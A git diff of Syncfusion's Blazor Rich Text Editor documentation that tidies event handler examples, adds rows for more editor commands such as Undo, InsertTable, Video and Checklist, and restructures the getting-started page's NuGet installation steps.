diff --git a/blazor/rich-text-editor/events.md b/blazor/rich-text-editor/events.md
index 220c302c4e..cc0f4a15c0 100644
--- a/blazor/rich-text-editor/events.md
+++ b/blazor/rich-text-editor/events.md
@@ -23,7 +23,6 @@ This section explains the list of events of the Rich Text Editor component which
    <RichTextEditorEvents OnActionBegin="@OnActionBeginHandler" ></RichTextEditorEvents>
 </SfRichTextEditor>
 @code{
-
     public void OnActionBeginHandler(ActionBeginEventArgs args)
     {
         // Here you can customize your code
@@ -45,7 +44,6 @@ This section explains the list of events of the Rich Text Editor component which
 </SfRichTextEditor>
 
 @code{
-
     public void OnActionCompleteHandler(ActionCompleteEventArgs args)
     {
         // Here you can customize your code
@@ -56,7 +54,7 @@ This section explains the list of events of the Rich Text Editor component which
 
 ## OnDialogOpen
 
-[OnDialogOpen]((https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.RichTextEditor.RichTextEditorEvents.html#Syncfusion_Blazor_RichTextEditor_RichTextEditorEvents_OnDialogOpen)) event triggers when the dialog is being opened.
+[OnDialogOpen](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.RichTextEditor.RichTextEditorEvents.html#Syncfusion_Blazor_RichTextEditor_RichTextEditorEvents_OnDialogOpen) event triggers when the dialog is being opened.
 
 ```cshtml
 
@@ -67,7 +65,6 @@ This section explains the list of events of the Rich Text Editor component which
     <RichTextEditorEvents OnDialogOpen="@OnDialogOpenHandler"></RichTextEditorEvents>
 </SfRichTextEditor>
 @code{
-
     public void OnDialogOpenHandler(BeforeOpenEventArgs args)
     {
         // Here you can customize your code
@@ -89,7 +86,6 @@ This section explains the list of events of the Rich Text Editor component which
    <RichTextEditorEvents DialogOpened="@DialogOpenedHandler"></RichTextEditorEvents>
 </SfRichTextEditor>
 @code{
-
     public void DialogOpenedHandler(DialogOpenEventArgs args)
     {
         // Here you can customize your code
@@ -111,7 +107,6 @@ This section explains the list of events of the Rich Text Editor component which
    <RichTextEditorEvents OnDialogClose="@OnDialogCloseHandler"></RichTextEditorEvents>
 </SfRichTextEditor>
 @code{
-
     public void OnDialogCloseHandler(BeforeCloseEventArgs args)
     {
         // Here you can customize your code
@@ -133,7 +128,6 @@ This section explains the list of events of the Rich Text Editor component which
    <RichTextEditorEvents DialogClosed="@DialogClosedHandler"></RichTextEditorEvents>
 </SfRichTextEditor>
 @code{
-
     public void DialogClosedHandler(DialogCloseEventArgs args)
     {
         // Here you can customize your code
@@ -154,7 +148,6 @@ This section explains the list of events of the Rich Text Editor component which
    <RichTextEditorEvents OnQuickToolbarOpen="@OnQuickToolbarOpenHandler"></RichTextEditorEvents>
 </SfRichTextEditor>
 @code{
-
     public void OnQuickToolbarOpenHandler(BeforeQuickToolbarOpenArgs args)
     {
         // Here you can customize your code
@@ -175,7 +168,6 @@ This section explains the list of events of the Rich Text Editor component which
    <RichTextEditorEvents QuickToolbarOpened="@QuickToolbarOpenedHandler"></RichTextEditorEvents>
 </SfRichTextEditor>
 @code{
-
     public void QuickToolbarOpenedHandler(QuickToolbarEventArgs args)
     {
         // Here you can customize your code
@@ -196,7 +188,6 @@ This section explains the list of events of the Rich Text Editor component which
    <RichTextEditorEvents QuickToolbarClosed="@QuickToolbarClosedHandler"></RichTextEditorEvents>
 </SfRichTextEditor>
 @code{
-
     public void QuickToolbarClosedHandler(QuickToolbarEventArgs args)
     {
         // Here you can customize your code
@@ -218,7 +209,6 @@ This section explains the list of events of the Rich Text Editor component which
    <RichTextEditorEvents OnImageSelected="@OnImageSelectedHandler"></RichTextEditorEvents>
 </SfRichTextEditor>
 @code{
-
     public void OnImageSelectedHandler(SelectedEventArgs args)
     {
         // Here you can customize your code
@@ -236,10 +226,9 @@ This section explains the list of events of the Rich Text Editor component which
 @using Syncfusion.Blazor.RichTextEditor
 
 <SfRichTextEditor>
-   <RichTextEditorEvents BeforeUploadImage ="@BeforeUploadImageHandler"></RichTextEditorEvents>
+   <RichTextEditorEvents BeforeUploadImage="@BeforeUploadImageHandler"></RichTextEditorEvents>
 </SfRichTextEditor>
 @code{
-
     public void BeforeUploadImageHandler(ImageUploadingEventArgs args)
     {
         // Here you can customize your code
@@ -260,7 +249,6 @@ This section explains the list of events of the Rich Text Editor component which
    <RichTextEditorEvents OnImageUploadSuccess="@OnImageUploadSuccessHandler"></RichTextEditorEvents>
 </SfRichTextEditor>
 @code{
-
     public void OnImageUploadSuccessHandler(ImageSuccessEventArgs args)
     {
         // Here you can customize your code
@@ -281,7 +269,6 @@ This section explains the list of events of the Rich Text Editor component which
    <RichTextEditorEvents OnImageUploadFailed="@OnImageUploadFailedHandler"></RichTextEditorEvents>
 </SfRichTextEditor>
 @code{
-
     public void OnImageUploadFailedHandler(ImageFailedEventArgs args)
     {
         // Here you can customize your code
@@ -303,7 +290,6 @@ This section explains the list of events of the Rich Text Editor component which
    <RichTextEditorEvents OnImageRemoving="@OnImageRemovingHandler"></RichTextEditorEvents>
 </SfRichTextEditor>
 @code{
-
     public void OnImageRemovingHandler(RemovingEventArgs args)
     {
         // Here you can customize your code
@@ -324,7 +310,6 @@ This section explains the list of events of the Rich Text Editor component which
    <RichTextEditorEvents ImageDelete="@OnImageDeleteHandler"></RichTextEditorEvents>
 </SfRichTextEditor>
 @code{
-
     public void OnImageDeleteHandler(AfterImageDeleteEventArgs args)
     {
         // Here you can customize your code
@@ -345,7 +330,6 @@ This section explains the list of events of the Rich Text Editor component which
    <RichTextEditorEvents Created="@CreatedHandler"></RichTextEditorEvents>
 </SfRichTextEditor>
 @code{
-
     public void CreatedHandler(Object args)
     {
         // Here you can customize your code
@@ -366,7 +350,6 @@ This section explains the list of events of the Rich Text Editor component which
    <RichTextEditorEvents Destroyed="@DestroyedHandler"></RichTextEditorEvents>
 </SfRichTextEditor>
 @code{
-
     public void DestroyedHandler(DestroyedEventArgs args)
     {
         // Here you can customize your code
@@ -387,7 +370,6 @@ This section explains the list of events of the Rich Text Editor component which
    <RichTextEditorEvents Blur="@BlurHandler"></RichTextEditorEvents>
 </SfRichTextEditor>
 @code{
-
     public void BlurHandler(BlurEventArgs args)
     {
         // Here you can customize your code
@@ -408,7 +390,6 @@ This section explains the list of events of the Rich Text Editor component which
    <RichTextEditorEvents OnToolbarClick="@OnToolbarClickHandler"></RichTextEditorEvents>
 </SfRichTextEditor>
 @code{
-
     public void OnToolbarClickHandler(ToolbarClickEventArgs args)
     {
         // Here you can customize your code
@@ -429,7 +410,6 @@ This section explains the list of events of the Rich Text Editor component which
    <RichTextEditorEvents Focus="@FocusHandler"></RichTextEditorEvents>
 </SfRichTextEditor>
 @code{
-
     public void FocusHandler(Syncfusion.Blazor.RichTextEditor.FocusEventArgs args)
     {
         // Here you can customize your code
@@ -450,7 +430,6 @@ This section explains the list of events of the Rich Text Editor component which
    <RichTextEditorEvents ValueChange="@ValueChangeHandler"></RichTextEditorEvents>
 </SfRichTextEditor>
 @code{
-
     public void ValueChangeHandler(Syncfusion.Blazor.RichTextEditor.ChangeEventArgs args)
     {
         // Here you can customize your code
@@ -494,7 +473,6 @@ N> This event does not trigger when the selection range is collapsed (i.e., when
    <RichTextEditorEvents OnResizeStart="@OnResizeStartHandler"></RichTextEditorEvents>
 </SfRichTextEditor>
 @code{
-
     public void OnResizeStartHandler(ResizeArgs args)
     {
         // Here you can customize your code
@@ -515,7 +493,6 @@ N> This event does not trigger when the selection range is collapsed (i.e., when
    <RichTextEditorEvents OnResizeStop="@OnResizeStopHandler"></RichTextEditorEvents>
 </SfRichTextEditor>
 @code{
-
     public void OnResizeStopHandler(ResizeArgs args)
     {
         // Here you can customize your code
@@ -536,7 +513,6 @@ N> This event does not trigger when the selection range is collapsed (i.e., when
    <RichTextEditorEvents AfterPasteCleanup="@AfterPasteCleanupHandler"></RichTextEditorEvents>
 </SfRichTextEditor>
 @code{
-
     public void AfterPasteCleanupHandler(PasteCleanupArgs args)
     {
         // Here you can customize your code
diff --git a/blazor/rich-text-editor/exec-command.md b/blazor/rich-text-editor/exec-command.md
index c3f70aa8ab..12d7549429 100644
--- a/blazor/rich-text-editor/exec-command.md
+++ b/blazor/rich-text-editor/exec-command.md
@@ -240,7 +240,7 @@ await this.RteObj.ExecuteCommandAsync(CommandName.Outdent);
 
 <tr>
 <td><p>Redo</p></td>
-<td><p>Allows you to redo your actions. </p></td>
+<td><p>Allows you to redo your actions.</p></td>
 <td>
 {% highlight cshtml %}
 await this.RteObj.ExecuteCommandAsync(CommandName.Redo);
@@ -273,6 +273,149 @@ await this.RteObj.ExecuteCommandAsync(CommandName.InsertText, "Inserted text");
 await this.RteObj.ExecuteCommandAsync(CommandName.InsertImage, new ImageCommandsArgs() { Url = "https://ej2.syncfusion.com/javascript/demos/src/rich-text-editor/images/RTEImage-Feather.png", CssClass = "rte-img" });
 {% endhighlight %}</td>
 </tr>
+
+<tr>
+<td><p>Undo</p></td>
+<td><p>Allows you to undo your actions.</p></td>
+<td>
+{% highlight cshtml %}
+await this.RteObj.ExecuteCommandAsync(CommandName.Undo);
+{% endhighlight %}</td>
+</tr>
+
+<tr>
+<td><p>Format Block</p></td>
+<td><p>Allows you to apply block-level formatting, such as headings (H1–H6) or paragraphs, to the selected text.</p></td>
+<td>
+{% highlight cshtml %}
+await this.RteObj.ExecuteCommandAsync(CommandName.FormatBlock, "H3");
+{% endhighlight %}</td>
+</tr>
+
+<tr>
+<td><p>Heading</p></td>
+<td><p>Allows you to directly apply the Heading 1 block style to the selected text.</p></td>
+<td>
+{% highlight cshtml %}
+await this.RteObj.ExecuteCommandAsync(CommandName.Heading);
+{% endhighlight %}</td>
+</tr>
+
+<tr>
+<td><p>Insert Code Block</p></td>
+<td><p>Allows you to insert a preformatted multi-line block by defining the syntax language identifier and its visual dropdown text label.</p></td>
+<td>
+{% highlight cshtml %}
+await this.RteObj.ExecuteCommandAsync(CommandName.InsertCodeBlock, new CodeBlockCommandArgs() { Language = "typescript", Label = "TypeScript" });
+{% endhighlight %}</td>
+</tr>
+
+<tr>
+<td><p>Insert Paragraph</p></td>
+<td><p>Allows you to insert a new paragraph block at the current cursor position.</p></td>
+<td>
+{% highlight cshtml %}
+await this.RteObj.ExecuteCommandAsync(CommandName.InsertParagraph);
+{% endhighlight %}</td>
+</tr>
+
+<tr>
+<td><p>Insert Horizontal Rule</p></td>
+<td><p>Allows you to insert a straight horizontal rule line element to serve as a thematic structural divider between text blocks.</p></td>
+<td>
+{% highlight cshtml %}
+await this.RteObj.ExecuteCommandAsync(CommandName.InsertHorizontalRule);
+{% endhighlight %}</td>
+</tr>
+
+<tr>
+<td><p>Insert Br On Return</p></td>
+<td><p>Configures the editor to insert a standard HTML line break element when the Enter key is pressed, rather than splitting the current block into a new paragraph.</p></td>
+<td>
+{% highlight cshtml %}
+await this.RteObj.ExecuteCommandAsync(CommandName.InsertBrOnReturn);
+{% endhighlight %}</td>
+</tr>
+
+<tr>
+<td><p>Insert Code</p></td>
+<td><p>Allows you to apply inline code formatting to the selected text for highlighting variables or short commands.</p></td>
+<td>
+{% highlight cshtml %}
+await this.RteObj.ExecuteCommandAsync(CommandName.InsertCode);
+{% endhighlight %}</td>
+</tr>
+
+<tr>
+<td><p>Insert Table</p></td>
+<td><p>Allows you to programmatically insert a structured HTML table layout component by declaring the exact row and column constraints.</p></td>
+<td>
+{% highlight cshtml %}
+await this.RteObj.ExecuteCommandAsync(CommandName.InsertTable, new TableCommandArgs() { Row = 3, Columns = 3 });
+{% endhighlight %}</td>
+</tr>
+
+<tr>
+<td><p>Edit Image</p></td>
+<td><p>Allows you to programmatically modify an existing image element's properties using specific source URLs, dimensions, and custom CSS classes.</p></td>
+<td>
+{% highlight cshtml %}
+await this.RteObj.ExecuteCommandAsync(
+    CommandName.EditImage, 
+    new ImageCommandsArgs() 
+    { 
+        Url = "https://cdn.syncfusion.com/ej2/richtexteditor-resources/RTE-Portrait.png", 
+        AltText = "Alternative description text", 
+        CssClass = "custom-img-style",
+        Width = new CommandsWidth() { Width = "300px" },
+        Height = new CommandsHeight() { Height = "auto" }
+    }
+);
+{% endhighlight %}</td>
+</tr>
+
+<tr>
+<td><p>Edit Link</p></td>
+<td><p>Allows you to programmatically modify a hyperlink element by declaring the destination URL, display text, and title attributes.</p></td>
+<td>
+{% highlight cshtml %}
+await this.RteObj.ExecuteCommandAsync(
+    CommandName.EditLink, 
+    new LinkCommandsArgs() { Url = "https://", Text = "Syncfusion", Title = "Visit Home Page" }
+);
+{% endhighlight %}</td>
+</tr>
+
+<tr>
+<td><p>Video</p></td>
+<td><p>Allows you to programmatically embed an interactive HTML5 video viewport by assigning specific media source URLs.</p></td>
+<td>
+{% highlight cshtml %}
+await this.RteObj.ExecuteCommandAsync(
+    CommandName.Video, 
+    new VideoCommandsArgs() { Url = "https://cdn.syncfusion.com/ej2/richtexteditor-resources/RTE-Ocean-Waves.mp4", CssClass = "e-rte-video" });
+{% endhighlight %}</td>
+</tr>
+
+<tr>
+<td><p>Audio</p></td>
+<td><p>Allows you to programmatically embed an interactive HTML5 audio player tracking path by assigning specific media source URLs.</p></td>
+<td>
+{% highlight cshtml %}
+await this.RteObj.ExecuteCommandAsync(
+    CommandName.Audio, 
+    new AudioCommandsArgs() { Url = "https://cdn.syncfusion.com/ej2/richtexteditor-resources/RTE-Audio.wav", CssClass = "e-rte-audio" });
+{% endhighlight %}</td>
+</tr>
+
+<tr>
+<td><p>Checklist</p></td>
+<td><p>Allows you to format the selected text as an interactive checklist.</p></td>
+<td>
+{% highlight cshtml %}
+await this.RteObj.ExecuteCommandAsync(CommandName.Checklist);
+{% endhighlight %}</td>
+</tr>
 </table>
 
 N> Provided support to apply execute commands which do not require direct DOM access.
diff --git a/blazor/rich-text-editor/getting-started-webapp.md b/blazor/rich-text-editor/getting-started-webapp.md
index ece18d55bc..ad0957f51d 100644
--- a/blazor/rich-text-editor/getting-started-webapp.md
+++ b/blazor/rich-text-editor/getting-started-webapp.md
@@ -1,6 +1,7 @@
 ---
 layout: post
 title: Getting started with Syncfusion Rich Text Editor in Blazor Web App
+canonical_url: "https://blazor.syncfusion.com/documentation/rich-text-editor/getting-started-webapp"
 description: Check out the documentation for getting started with Syncfusion Blazor Rich Text Editor Components in Blazor Web App.
 platform: Blazor
 control: RichTextEditor
@@ -89,12 +90,34 @@ N> Configure the appropriate [Interactive render mode](https://learn.microsoft.c
 
 ## Install Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor packages
 
-Install [Syncfusion.Blazor.RichTextEditor](https://www.nuget.org/packages/Syncfusion.Blazor.RichTextEditor) and [Syncfusion.Blazor.Themes](https://www.nuget.org/packages/Syncfusion.Blazor.Themes/) NuGet packages in your project using the NuGet Package Manager in Visual Studio (*Tools → NuGet Package Manager → Manage NuGet Packages for Solution*), or the integrated terminal in Visual Studio Code (`dotnet add package`), or the .NET CLI.
+Install the following NuGet packages in your project:
 
-Alternatively, run the following commands in the Package Manager Console to achieve the same.
+* [Syncfusion.Blazor.RichTextEditor](https://www.nuget.org/packages/Syncfusion.Blazor.RichTextEditor)  
+* [Syncfusion.Blazor.Themes](https://www.nuget.org/packages/Syncfusion.Blazor.Themes)
+
+You can install these packages using different methods as shown below:
+
+{% tabcontents %}
+
+{% tabcontent Visual Studio %}
+
+1. In Visual Studio Navigate to:
+
+   **Tools → NuGet Package Manager → Manage NuGet Packages for Solution**
+2. Search for the required packages.
+3. Select the package and click **Install**.
+
+{% endtabcontent %}
+
+{% tabcontent Visual Studio (Package Manager Console) %}
+
+1. In Visual Studio Navigate to:
+
+   **Tools → NuGet Package Manager → Package Manager Console**
+2. Run the following commands:
 
 {% tabs %}
-{% highlight C# tabtitle="Package Manager" %}
+{% highlight C# tabtitle="Install Packages" %}
 
 Install-Package Syncfusion.Blazor.RichTextEditor -Version {{ site.releaseversion }}
 Install-Package Syncfusion.Blazor.Themes -Version {{ site.releaseversion }}
@@ -102,6 +125,29 @@ Install-Package Syncfusion.Blazor.Themes -Version {{ site.releaseversion }}
 {% endhighlight %}
 {% endtabs %}
 
+{% endtabcontent %}
+
+{% tabcontent Visual Studio Code / .NET CLI %}
+
+1. Open your project.
+2. Open the terminal:
+   - In Visual Studio Code: use the integrated terminal (<kbd>Ctrl</kbd> + <kbd>`</kbd>)
+   - Or use any system terminal for CLI
+3. Run the following commands:
+
+{% tabs %}
+{% highlight C# tabtitle="Install Packages" %}
+
+dotnet add package Syncfusion.Blazor.RichTextEditor --version {{ site.releaseversion }}
+dotnet add package Syncfusion.Blazor.Themes --version {{ site.releaseversion }}
+
+{% endhighlight %}
+{% endtabs %}
+
+{% endtabcontent %}
+
+{% endtabcontents %}
+
 If using the `WebAssembly` or `Auto` render modes in the Blazor Web App, install these packages in the client project.
 
 N> All Syncfusion Blazor packages are available on [nuget.org](https://www.nuget.org/packages?q=syncfusion.blazor). See the [NuGet packages](https://blazor.syncfusion.com/documentation/nuget-packages) topic for details.
@@ -158,256 +204,28 @@ Add the Syncfusion Blazor Rich Text Editor component in the **~/Components/Pages
 N> If the **Interactivity Location** is set to `Global` with `Auto` or `WebAssembly`, the render mode is automatically configured in the `App.razor` file by default.
 
 {% tabs %}
-{% highlight razor %}
+{% highlight razor tabtitle="Home.razor" %}
 
 @* desired render mode define here *@
 @rendermode InteractiveAuto
-
-{% endhighlight %}
-{% endtabs %}
-
-{% tabs %}
-{% highlight razor tabtitle="Home.razor" %}
-
-<SfRichTextEditor>
-    <p>Rich Text Editor allows to insert images from online source as well as local computer where you want to insert the image in your content.</p>
-    <p><b>Get started Quick Toolbar to click on the image</b></p>
-    <p>It is possible to add custom style on the selected image inside the Rich Text Editor through quick toolbar.</p>
-</SfRichTextEditor>
-
-{% endhighlight %}
-{% endtabs %}
-
-* Press <kbd>Ctrl</kbd>+<kbd>F5</kbd> (Windows) or <kbd>⌘</kbd>+<kbd>F5</kbd> (macOS) to launch the application. This will render the Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Rich Text Editor component in the default web browser.
-
-{% previewsample "https://blazorplayground.syncfusion.com/embed/rXhfZMqXAUqtaOyK?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Rich Text Editor Component](./images/blazor-richtexteditor.png)" %}
-
-N> [View Sample in GitHub](https://github.com/SyncfusionExamples/Blazor-Getting-Started-Examples/tree/main/RichTextEditor).
-
-## Configure the Toolbar
-
-Configure the toolbar with the tools using [RichTextEditorToolbarSettings.Items](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.RichTextEditor.RichTextEditorToolbarSettings.html#Syncfusion_Blazor_RichTextEditor_RichTextEditorToolbarSettings_Items) property as your application requires.
-
-{% tabs %}
-{% highlight razor tabtitle="Home.razor" %}
-
-<SfRichTextEditor>
-    <RichTextEditorToolbarSettings Items="@Tools" />
-    <p>The Rich Text Editor component is WYSIWYG ('what you see is what you get') editor that provides the best user experience to create and update the content. Users can format their content using standard toolbar commands.</p>
-    <p><b> Key features:</b></p>
-    <ul>
-        <li><p> Provides <b>IFRAME</b> and <b>DIV</b> modes </p></li>
-        <li><p> Capable of handling markdown editing.</p></li>
-        <li><p> Contains a modular library to load the necessary functionality on demand.</p></li>
-        <li><p> Provides a fully customizable toolbar.</p></li>
-        <li><p> Provides HTML view to edit the source directly for developers.</p></li>
-        <li><p> Supports third - party library integration.</p></li>
-        <li><p> Allows preview of modified content before saving it.</p></li>
-    </ul>
-</SfRichTextEditor>
-
-@code {
-    private List<ToolbarItemModel> Tools = new List<ToolbarItemModel>()
-    {
-        new ToolbarItemModel() { Command = ToolbarCommand.Bold },
-        new ToolbarItemModel() { Command = ToolbarCommand.Italic },
-        new ToolbarItemModel() { Command = ToolbarCommand.Underline },
-        new ToolbarItemModel() { Command = ToolbarCommand.StrikeThrough },
-        new ToolbarItemModel() { Command = ToolbarCommand.FontName },
-        new ToolbarItemModel() { Command = ToolbarCommand.FontSize },
-        new ToolbarItemModel() { Command = ToolbarCommand.Separator },
-        new ToolbarItemModel() { Command = ToolbarCommand.FontColor },
-        new ToolbarItemModel() { Command = ToolbarCommand.BackgroundColor },
-        new ToolbarItemModel() { Command = ToolbarCommand.Separator },
-        new ToolbarItemModel() { Command = ToolbarCommand.Formats },
-        new ToolbarItemModel() { Command = ToolbarCommand.Alignments },
-        new ToolbarItemModel() { Command = ToolbarCommand.Separator },
-        new ToolbarItemModel() { Command = ToolbarCommand.LowerCase },
-        new ToolbarItemModel() { Command = ToolbarCommand.UpperCase },
-        new ToolbarItemModel() { Command = ToolbarCommand.SuperScript },
-        new ToolbarItemModel() { Command = ToolbarCommand.SubScript },
-        new ToolbarItemModel() { Command = ToolbarCommand.Separator },
-        new ToolbarItemModel() { Command = ToolbarCommand.OrderedList },
-        new ToolbarItemModel() { Command = ToolbarCommand.UnorderedList },
-        new ToolbarItemModel() { Command = ToolbarCommand.Outdent },
-        new ToolbarItemModel() { Command = ToolbarCommand.Indent },
-        new ToolbarItemModel() { Command = ToolbarCommand.Separator },
-        new ToolbarItemModel() { Command = ToolbarCommand.CreateLink },
-        new ToolbarItemModel() { Command = ToolbarCommand.Image },
-        new ToolbarItemModel() { Command = ToolbarCommand.CreateTable },
-        new ToolbarItemModel() { Command = ToolbarCommand.Separator },
-        new ToolbarItemModel() { Command = ToolbarCommand.ClearFormat },
-        new ToolbarItemModel() { Command = ToolbarCommand.Print },
-        new ToolbarItemModel() { Command = ToolbarCommand.SourceCode },
-        new ToolbarItemModel() { Command = ToolbarCommand.FullScreen },
-        new ToolbarItemModel() { Command = ToolbarCommand.Separator },
-        new ToolbarItemModel() { Command = ToolbarCommand.Undo },
-        new ToolbarItemModel() { Command = ToolbarCommand.Redo }
-    };
-}
-
-{% endhighlight %}
-{% endtabs %}
-
-{% previewsample "https://blazorplayground.syncfusion.com/embed/BXBSjuNoTrQNLwVM?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Rich Text Editor with Toolbar](./images/blazor-richtexteditor-toolbar.png)" %}
-
-## Insert images and links
-
-The **Image** inserts an image into Rich Text Editor content, and the **Link** links an external resources such as website URLs to the selected text in the Rich Text Editor's content respectively.
-
-The quick toolbar items can be configured for specific target elements such as images, links, and tables. The quick toolbar opens when clicking the target element, allowing customization of that element.
-
-{% tabs %}
-{% highlight razor tabtitle="Home.razor" %}
+@using Syncfusion.Blazor.RichTextEditor
 
 <SfRichTextEditor>
-    <RichTextEditorToolbarSettings Items="@Tools" />
-    <RichTextEditorQuickToolbarSettings Image="@Image" Link="@Link" />
     <p>Rich Text Editor allows to insert images from online source as well as local computer where you want to insert the image in your content.</p>
     <p><b>Get started Quick Toolbar to click on the image</b></p>
     <p>It is possible to add custom style on the selected image inside the Rich Text Editor through quick toolbar.</p>
-    <img alt='Logo' style='width: 300px; height: 300px; transform: rotate(0deg);' src='https://cdn.syncfusion.com/ej2/richtexteditor-resources/RTE-Portrait.png' />
 </SfRichTextEditor>
 
-@code {
-    private List<ToolbarItemModel> Tools = new List<ToolbarItemModel>()
-    {
-        new ToolbarItemModel() { Command = ToolbarCommand.Bold },
-        new ToolbarItemModel() { Command = ToolbarCommand.Italic },
-        new ToolbarItemModel() { Command = ToolbarCommand.Underline },
-        new ToolbarItemModel() { Command = ToolbarCommand.Separator },
-        new ToolbarItemModel() { Command = ToolbarCommand.Formats },
-        new ToolbarItemModel() { Command = ToolbarCommand.Alignments },
-        new ToolbarItemModel() { Command = ToolbarCommand.Separator },
-        new ToolbarItemModel() { Command = ToolbarCommand.CreateLink },
-        new ToolbarItemModel() { Command = ToolbarCommand.Image },
-        new ToolbarItemModel() { Command = ToolbarCommand.Separator },
-        new ToolbarItemModel() { Command = ToolbarCommand.SourceCode },
-        new ToolbarItemModel() { Command = ToolbarCommand.Separator },
-        new ToolbarItemModel() { Command = ToolbarCommand.Undo },
-        new ToolbarItemModel() { Command = ToolbarCommand.Redo }
-    };
-    private List<ImageToolbarItemModel> Image = new List<ImageToolbarItemModel>()
-    {
-        new ImageToolbarItemModel() { Command = ImageToolbarCommand.Replace },
-        new ImageToolbarItemModel() { Command = ImageToolbarCommand.Align },
-        new ImageToolbarItemModel() { Command = ImageToolbarCommand.Caption },
-        new ImageToolbarItemModel() { Command = ImageToolbarCommand.Remove },
-        new ImageToolbarItemModel() { Command = ImageToolbarCommand.OpenImageLink },
-        new ImageToolbarItemModel() { Command = ImageToolbarCommand.HorizontalSeparator },
-        new ImageToolbarItemModel() { Command = ImageToolbarCommand.EditImageLink },
-        new ImageToolbarItemModel() { Command = ImageToolbarCommand.RemoveImageLink },
-        new ImageToolbarItemModel() { Command = ImageToolbarCommand.Display },
-        new ImageToolbarItemModel() { Command = ImageToolbarCommand.AltText },
-        new ImageToolbarItemModel() { Command = ImageToolbarCommand.Dimension }
-    };
-    private List<LinkToolbarItemModel> Link = new List<LinkToolbarItemModel>()
-    {
-        new LinkToolbarItemModel() { Command = LinkToolbarCommand.Open },
-        new LinkToolbarItemModel() { Command = LinkToolbarCommand.Edit },
-        new LinkToolbarItemModel() { Command = LinkToolbarCommand.UnLink }
-    };
-}
-
 {% endhighlight %}
 {% endtabs %}
 
-{% previewsample "https://blazorplayground.syncfusion.com/embed/LDBeXatSJUnenDUw?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Rich Text Editor with Image](./images/blazor-richtexteditor-image.png)" %}
+To launch the application, press <kbd>Ctrl</kbd>+<kbd>F5</kbd> in Visual Studio, run `dotnet run` from the CLI or integrated terminal in VS Code, or use the Run command in your preferred IDE to render the Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor RichTextEditor component in the default web browser.
 
-## Retrieve the formatted content
+N> When using the .NET CLI or Visual Studio Code, ensure that you run the application from the **server (host) project directory**, not from the `.Client` project. The client project does not run independently and is hosted by the server application.
 
-To retrieve the editor contents in HTML format, use the [Value](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.RichTextEditor.SfRichTextEditor.html#Syncfusion_Blazor_RichTextEditor_SfRichTextEditor_Value) property of Rich Text Editor, and to fetch the editor content as plain text, use the [GetText](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.RichTextEditor.SfRichTextEditor.html#Syncfusion_Blazor_RichTextEditor_SfRichTextEditor_GetTextAsync) method of Rich Text Editor.
-
-{% tabs %}
-{% highlight razor tabtitle="Home.razor" %}
-
-@using Syncfusion.Blazor.Buttons
-@using Syncfusion.Blazor.RichTextEditor
-@using Syncfusion.Blazor.Popups
-
-<SfButton @onclick="@GetValue">Get Value</SfButton>
-<SfButton @onclick="@GetText">Get Text</SfButton>
-
-<br />
-<SfDialog @ref="DialogObj" @bind-Visible="@Visibility" Content="@Content" Header="@Header" Target="#target" Height="200px"
-          Width="400px" ShowCloseIcon="true">
-    <DialogButtons>
-        <DialogButton Content="Ok" IsPrimary="true" OnClick="@DlgButtonClick" />
-    </DialogButtons>
-
-</SfDialog>
-<SfRichTextEditor @ref="RteObj" Value="@RteValue" />
-
-@code {
-    SfRichTextEditor RteObj;
-    SfDialog DialogObj;
-    private string Content;
-    private bool Visibility = false;
-    private string Header = "Rich Text Editor's Value";
-    private string RteValue = @"<p>Rich Text Editor allows to insert images from online source as well as local computer where you want to insert the image in your content.</p><p><b>Get started Quick Toolbar to click on the image</b></p><p>It is possible to add custom style on the selected image inside the Rich Text Editor through quick toolbar.</p><img alt='Logo' style='width: 300px; height: 300px; transform: rotate(0deg);' src='https://cdn.syncfusion.com/ej2/richtexteditor-resources/RTE-Portrait.png' />";
-    private async Task GetValue()
-    {
-        this.Content = this.RteValue;
-        await this.DialogObj.ShowAsync();
-    }
-    private async Task GetText()
-    {
-        this.Content = await this.RteObj.GetTextAsync();
-        this.DialogObj.ShowAsync();
-    }
-    private async Task DlgButtonClick(object arg)
-    {
-        await this.DialogObj.HideAsync();
-    }
-}
-
-{% endhighlight %}
-{% endtabs %}
+{% previewsample "https://blazorplayground.syncfusion.com/embed/BtBdjohZVVUMIRjO?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Rich Text Editor Component](./images/blazor-richtexteditor.png)" %}
 
-## Retrieve the number of characters
-
-To retrieve the number of characters in the Rich Text Editor content, use the [GetCharCount](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.RichTextEditor.SfRichTextEditor.html#Syncfusion_Blazor_RichTextEditor_SfRichTextEditor_GetCharCountAsync) method.
-
-{% tabs %}
-{% highlight razor tabtitle="Home.razor" %}
-
-@using Syncfusion.Blazor.Buttons
-@using Syncfusion.Blazor.RichTextEditor
-@using Syncfusion.Blazor.Popups
-
-<SfButton @onclick="@GetCharCount">Get Char Count</SfButton>
-
-<br />
-<SfDialog @ref="DialogObj" @bind-Visible="@Visibility" Content="@Content" Header="@Header" Target="#target" Height="200px"
-          Width="400px" ShowCloseIcon="true">
-    <DialogButtons>
-        <DialogButton Content="Ok" IsPrimary="true" OnClick="@DlgButtonClick" />
-    </DialogButtons>
-
-</SfDialog>
-<SfRichTextEditor @ref="RteObj" />
-
-@code {
-    SfRichTextEditor RteObj;
-    SfDialog DialogObj;
-    private string Content;
-    private bool Visibility = false;
-    private string Header = "Rich Text Editor's Value";
-    private string RteValue = @"<p>Rich Text Editor allows to insert images from online source as well as local computer where you want to insert the image in your content.</p><p><b>Get started Quick Toolbar to click on the image</b></p><p>It is possible to add custom style on the selected image inside the Rich Text Editor through quick toolbar.</p><img alt='Logo' style='width: 300px; height: 300px; transform: rotate(0deg);' src='https://cdn.syncfusion.com/ej2/richtexteditor-resources/RTE-Portrait.png' />";
-    private async Task GetCharCount()
-    {
-        double charCount = await this.RteObj.GetCharCountAsync();
-        this.Content = charCount.ToString(); // Convert double to string
-        await this.DialogObj.ShowAsync();
-    }
